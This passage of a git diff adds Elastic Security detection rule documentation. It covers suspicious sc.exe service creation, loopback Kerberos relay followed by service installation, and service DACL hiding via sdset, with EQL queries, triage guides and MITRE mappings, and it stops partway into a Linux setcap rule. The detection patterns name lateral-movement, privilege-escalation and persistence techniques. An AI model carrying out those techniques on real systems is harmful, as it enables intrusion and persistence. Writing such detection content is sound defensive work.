detection rule identifies suspicious `sc.exe` usage by monitoring for service-related commands targeting remote hosts, which may indicate unauthorized access attempts. This rule helps differentiate between legitimate administrative actions and potential threats. + + +*Possible investigation steps* + + +- Review the process details to confirm the use of sc.exe, focusing on the process.entity_id and process.args fields to understand the specific service-related actions attempted. +- Examine the network activity associated with the sc.exe process, particularly the destination.ip field, to identify the remote host targeted by the command and assess if it is a legitimate administrative target. +- Check the event logs on the remote host for any corresponding service creation, modification, or start events to verify if the actions were successfully executed and to gather additional context. +- Investigate the user account associated with the sc.exe process to determine if it has the necessary permissions for such actions and if the account usage aligns with expected behavior. +- Correlate the alert with other recent alerts or logs involving the same process.entity_id or destination.ip to identify any patterns or additional suspicious activities that may indicate a broader attack campaign. + + +*False positive analysis* + + +- Routine administrative tasks using sc.exe on remote systems can trigger false positives. Identify and document regular maintenance schedules and responsible personnel to differentiate these from potential threats. +- Automated scripts or management tools that use sc.exe for legitimate service management may cause alerts. Review and whitelist these scripts or tools by their process entity IDs to reduce noise. +- Internal IT operations often involve creating or modifying services remotely. Establish a baseline of normal activity patterns and exclude these from alerts by setting exceptions for known IP addresses or user accounts. +- Software deployment processes that involve service configuration changes can be mistaken for lateral movement. Coordinate with software deployment teams to understand their processes and exclude these activities from detection. +- Regularly review and update the exclusion list to ensure it reflects current operational practices and does not inadvertently allow malicious activity. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further lateral movement and unauthorized access to other systems. +- Terminate any suspicious `sc.exe` processes identified on the affected system to halt any ongoing malicious activity. +- Review and reset credentials for any accounts that were used in the suspicious `sc.exe` activity to prevent unauthorized access. +- Conduct a thorough examination of the affected system for any additional signs of compromise, such as unauthorized services or changes to existing services. +- Restore the affected system from a known good backup if any malicious modifications or persistent threats are detected. +- Implement network segmentation to limit the ability of adversaries to move laterally across the network in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan = 1m + [process where host.os.type == "windows" and event.type == "start" and + (process.name : "sc.exe" or process.pe.original_file_name : "sc.exe") and + process.args : "\\\\*" and process.args : ("binPath=*", "binpath=*") and + process.args : ("create", "config", "failure", "start")] + [network where host.os.type == "windows" and process.name : "sc.exe" and destination.ip != "127.0.0.1"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-service-control-spawned-via-script-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-service-control-spawned-via-script-interpreter.asciidoc new file mode 100644 index 0000000000..0745418a0f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-service-control-spawned-via-script-interpreter.asciidoc @@ -0,0 +1,219 @@ +[[prebuilt-rule-8-19-34-service-control-spawned-via-script-interpreter]] +=== Service Control Spawned via Script Interpreter + +Identifies Service Control (sc.exe) spawning from script interpreter processes to create, modify, or start services. This can potentially indicate an attempt to elevate privileges or maintain persistence. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/invisible-miners-unveiling-ghostengine + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 221 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Service Control Spawned via Script Interpreter* + + +Windows services are background processes that run with SYSTEM privileges and provide specific functionality or support to other applications and system components. + +The `sc.exe` command line utility is used to manage and control Windows services on a local or remote computer. Attackers may use `sc.exe` to create, modify, and start services to elevate their privileges from administrator to SYSTEM. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Examine the command line, registry changes events, and Windows events related to service activities (for example, 4697 and/or 7045) for suspicious characteristics. + - Examine the created and existent services, the executables or drivers referenced, and command line arguments for suspicious entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the referenced files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*False positive analysis* + + +- This activity is not inherently malicious if it occurs in isolation. As long as the analyst did not identify suspicious activity related to the user, host, and service, such alerts can be dismissed. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Delete the service or restore it to the original configuration. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +/* This rule is not compatible with Sysmon due to user.id issues */ + +process where host.os.type == "windows" and event.type == "start" and + (process.name : "sc.exe" or ?process.pe.original_file_name == "sc.exe") and + process.parent.name : ("cmd.exe", "wscript.exe", "rundll32.exe", "regsvr32.exe", + "wmic.exe", "mshta.exe","powershell.exe", "pwsh.exe") and + process.args:("config", "create", "start", "delete", "stop", "pause") and + /* exclude SYSTEM SID - look for service creations by non-SYSTEM user */ + not user.id : "S-1-5-18" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-service-creation-via-local-kerberos-authentication.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-service-creation-via-local-kerberos-authentication.asciidoc new file mode 100644 index 0000000000..22c4ee8895 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-service-creation-via-local-kerberos-authentication.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-34-service-creation-via-local-kerberos-authentication]] +=== Service Creation via Local Kerberos Authentication + +Identifies a suspicious local successful logon event where the Logon Package is Kerberos, the remote address is set to localhost, followed by service creation from the same LogonId. This may indicate an attempt to leverage a Kerberos relay attack variant that can elevate privileges locally from a domain-joined user to LocalSystem privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/Dec0ne/KrbRelayUp +* https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html +* https://github.com/cube0x0/KrbRelay +* https://gist.github.com/tyranid/c24cfd1bd141d14d4925043ee7e03c82 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Service Creation via Local Kerberos Authentication* + + +*Possible investigation steps* + + +- Do the source events show a loopback Kerberos logon followed by service creation in the same session? + - Why: sequence alerts merge fields; recover the 4624 and 4697 Timeline source events before interpreting grouped meaning. + - Focus: `winlog.computer_name`: 4624 `source.ip`, `winlog.logon.type`, `winlog.event_data.AuthenticationPackageName`, `winlog.event_data.TargetLogonId`; 4697 `winlog.event_data.SubjectLogonId`. + - Implication: escalate when loopback Kerberos network logon and 4697 service install share the same logon ID; lower suspicion when recovery shows no matching 4697, non-loopback source, or a different session. +- Which identity received the elevated loopback Kerberos session? + - Focus: 4624 `winlog.event_data.TargetUserName`, `winlog.event_data.TargetDomainName`, `winlog.event_data.TargetUserSid`, `user.id`, and `winlog.event_data.ElevatedToken`; Subject fields are the local initiator, not the authenticated identity. + - Implication: escalate when the authenticated identity is an unexpected admin, service, or machine-account path for this host; lower suspicion only when the same identity and lab or deployment host cohort are recognized for this validation pattern. +- What service did the recovered 4697 install? + - Focus: 4697 `winlog.event_data.ServiceName`, `winlog.event_data.ServiceFileName`, `winlog.event_data.ServiceAccount`, `winlog.event_data.ServiceStartType`, and `winlog.event_data.ServiceType`. + - Implication: escalate when the service uses a throwaway name, shell or script command, user-writable payload, or LocalSystem execution. Public tools may use "KrbSCM" or "UACBypassedService"; lower suspicion only when stable service metadata, account, and host cohort match the same authorized validation or owner-confirmed deployment workflow. +- Do same-session Windows Security events show credential use, privilege activation, or additional service activity? + - Focus: same-host Windows Security events surrounding the sequence, keyed on `winlog.event_data.SubjectLogonId`; read 4624, 4648, and additional 4697 records. !{investigate{"description":"","label":"Windows Security events for the same logon session","providers":[[{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"}],[{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4648","valueType":"string"}],[{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4697","valueType":"string"}],[{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"}],[{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4648","valueType":"string"}],[{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4697","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: query `winlog.computer_name` plus either recovered logon ID across the alert window first; expand only if source-event ordering is unclear. + - Hint: Missing authentication telemetry is unresolved, not benign. + - Implication: escalate when the same session shows explicit credentials or multiple service installs; keep scope local when evidence remains one recovered 4624-to-4697 chain with no contradictory activity. +- If local evidence remains suspicious or unresolved, do related alerts show the same relay-to-service chain elsewhere? + - Focus: related alerts for `winlog.computer_name` in the last 48 hours that reuse the same service name or command, or show Kerberos or service-install abuse on this host. !{investigate{"description":"","label":"Alerts associated with the host in the last 48h","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"winlog.computer_name","queryType":"phrase","value":"{{winlog.computer_name}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare `user.id` only if the host view does not show whether one operator or account cohort is involved. !{investigate{"description":"","label":"Alerts associated with the user in the last 48h","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when related alerts show the same host or user preparing, reusing, or expanding the service-creation chain; keep response local when related-alert review is quiet and source events already resolve the case. +- Escalate when source recovery confirms loopback Kerberos followed by suspicious LocalSystem service creation; close only when the session, identity, service metadata, and surrounding Windows Security evidence fit one exact benign activity with corroborating owner or test records when telemetry cannot prove legitimacy; preserve and escalate when evidence is mixed. + + +*False positive analysis* + + +- Authorized exploit validation, red-team work, or security research can reproduce this rule on lab systems. Confirm the 4624-to-4697 chain, `winlog.event_data.ServiceName`, `winlog.event_data.ServiceFileName`, `user.id`, and `winlog.computer_name` match test scope and timing. Without change or test records, close only when telemetry independently proves that validation scope; mark a one-off test as non-exceptionable instead of requiring recurrence. +- Treat loopback Kerberos plus service creation as an operational anti-pattern outside authorized validation. A deployment or support claim is benign only when owner or runbook confirmation and source events prove this exact local SCM path, stable `winlog.event_data.ServiceName`, `winlog.event_data.ServiceFileName`, `winlog.event_data.ServiceAccount`, `user.id`, `winlog.computer_name`, and no relay-prerequisite or follow-on alerts. +- Before creating an exception, pin `winlog.event_data.ServiceName`, `winlog.event_data.ServiceFileName`, `winlog.event_data.ServiceAccount`, `user.id`, and `winlog.computer_name`, and add an expiry or test-scope constraint for one-off validation. Avoid exceptions on loopback `source.ip`, event 4624, event 4697, or Kerberos alone because those conditions are broader than the confirmed workflow. + + +*Response and remediation* + + +- If confirmed benign, preserve the source-event chain and service evidence that proved the authorized workflow, then reverse temporary containment. Create an exception only from the pinned workflow fields, with an expiry or test-scope constraint for one-off validation. +- If suspicious but unconfirmed, preserve the Timeline source events, recovered logon IDs, loopback source, service metadata, and surrounding `event.code` "4648" evidence before containment. Apply reversible containment first: stop and disable the new service after evidence capture, temporarily restrict the implicated account if follow-on activity indicates active misuse, or isolate the host only when active compromise and host criticality justify interruption. +- If confirmed malicious, preserve the service record and recovered source events, then isolate the host when feasible, disable and remove the malicious service, and reset or restrict the implicated account plus any machine-account, delegation, or certificate artifacts found during scoping. If direct response is unavailable, escalate with session IDs, service metadata, `source.ip`, `user.id`, and related-alert evidence to the team that can contain the system. Scope related hosts and identities for the same service name, service command, or loopback Kerberos pattern before cleanup. +- Post-incident hardening: enforce LDAP signing and channel binding where possible, reduce ms-DS-MachineAccountQuota, protect privileged accounts from delegation, harden ADCS web enrollment with TLS and EPA if that path exists, and retain Windows Security logs long enough to reconstruct future 4624-to-4697 chains. + + +==== Setup + + + +*Setup* + + +The following Windows audit policies must be enabled to generate the events used by this rule: +- https://ela.st/audit-logon[Audit Logon] +- https://ela.st/audit-security-system-extension[Audit Security System Extension] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by winlog.computer_name with maxspan=5m + [authentication where host.os.type == "windows" and + + /* event 4624 need to be logged */ + event.action == "logged-in" and event.outcome == "success" and winlog.event_data.ElevatedToken == "%%1843" and process.pid == 0 and + + /* authenticate locally using relayed kerberos Ticket */ + winlog.event_data.AuthenticationPackageName :"Kerberos" and winlog.logon.type == "Network" and cidrmatch(source.ip, "127.0.0.0/8", "::1")] by winlog.event_data.TargetLogonId + + [any where host.os.type == "windows" and + /* event 4697 need to be logged */ + event.action : "service-installed"] by winlog.event_data.SubjectLogonId + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-service-dacl-modification-via-sc-exe.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-service-dacl-modification-via-sc-exe.asciidoc new file mode 100644 index 0000000000..c910fb9150 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-service-dacl-modification-via-sc-exe.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-service-dacl-modification-via-sc-exe]] +=== Service DACL Modification via sc.exe + +Identifies DACL modifications to deny access to a service, making it unstoppable, or hide it from system and users. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blogs.jpcert.or.jp/en/2024/07/mirrorface-attack-against-japanese-organisations.html +* https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_sc_sdset_deny_service_access.yml +* https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-strings +* https://www.sans.org/blog/red-team-tactics-hiding-windows-services/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Service DACL Modification via sc.exe* + + +The `sc.exe` utility in Windows is used to manage services, including modifying their Discretionary Access Control Lists (DACLs). Adversaries may exploit this to alter service permissions, making them unmanageable or hidden. The detection rule identifies such modifications by monitoring for specific command patterns that indicate DACL changes, focusing on access denial to key user groups, thus flagging potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of "sc.exe" with the "sdset" argument, indicating a potential DACL modification attempt. +- Examine the specific arguments used with "sc.exe" to identify which user groups (e.g., IU, SU, BA, SY, WD) were targeted for access denial. +- Check the process execution timeline to determine if this activity coincides with other suspicious behavior or unauthorized access attempts. +- Investigate the user account associated with the process execution to assess if it has the necessary privileges and if the activity aligns with their typical behavior. +- Correlate this event with other security alerts or logs from data sources like Elastic Endgame, Sysmon, or Microsoft Defender XDR to identify potential patterns or related incidents. +- Assess the impact on the affected service by verifying its current state and functionality, ensuring it is not hidden or unmanageable. +- If necessary, consult with system administrators to understand the legitimate need for such modifications and confirm if the activity was authorized. + + +*False positive analysis* + + +- Routine administrative tasks using sc.exe to modify service permissions may trigger the rule. Review the context of the command and verify if it aligns with standard IT maintenance activities. +- Automated scripts or software deployment tools that adjust service DACLs for legitimate configuration purposes can cause false positives. Identify these scripts and consider excluding their specific command patterns from the rule. +- Security software updates or patches that modify service permissions as part of their installation process might be flagged. Confirm the legitimacy of the update and exclude the associated process arguments if necessary. +- Custom applications that require specific service permissions for functionality may inadvertently match the detection criteria. Validate the application's behavior and create exceptions for its known safe operations. +- Regular audits or compliance checks that involve service DACL modifications could be misinterpreted as malicious. Document these activities and adjust the rule to ignore them when performed by authorized personnel. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or changes to service permissions. +- Terminate any suspicious processes related to sc.exe that are actively modifying service DACLs to stop ongoing malicious activity. +- Restore the original DACL settings for the affected services using a known good configuration or backup to ensure proper access control is reinstated. +- Conduct a thorough review of user accounts and permissions to identify and revoke any unauthorized access that may have been granted during the attack. +- Implement additional monitoring on the affected system and similar systems to detect any further attempts to modify service DACLs, using enhanced logging and alerting mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the attack is part of a larger campaign. +- Review and update endpoint protection policies to prevent similar threats in the future, ensuring that all systems are equipped with the latest security patches and configurations. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "sc.exe" or ?process.pe.original_file_name : "sc.exe") and + process.args : "sdset" and process.args : "*D;*" and + process.args : ("*;IU*", "*;SU*", "*;BA*", "*;SY*", "*;WD*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-setcap-setuid-setgid-capability-set.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-setcap-setuid-setgid-capability-set.asciidoc new file mode 100644 index 0000000000..82856a4748 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-setcap-setuid-setgid-capability-set.asciidoc @@ -0,0 +1,207 @@ +[[prebuilt-rule-8-19-34-setcap-setuid-setgid-capability-set]] +=== Setcap setuid/setgid Capability Set + +This rule monitors for the addition of the cap_setuid+ep or cap_setgid+ep capabilities via setcap. Setuid (Set User ID) and setgid (Set Group ID) are Unix-like OS features that enable processes to run with elevated privileges, based on the file owner or group. Threat actors can exploit these attributes to achieve persistence by creating malicious binaries, allowing them to maintain control over a compromised system with elevated permissions. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Setcap setuid/setgid 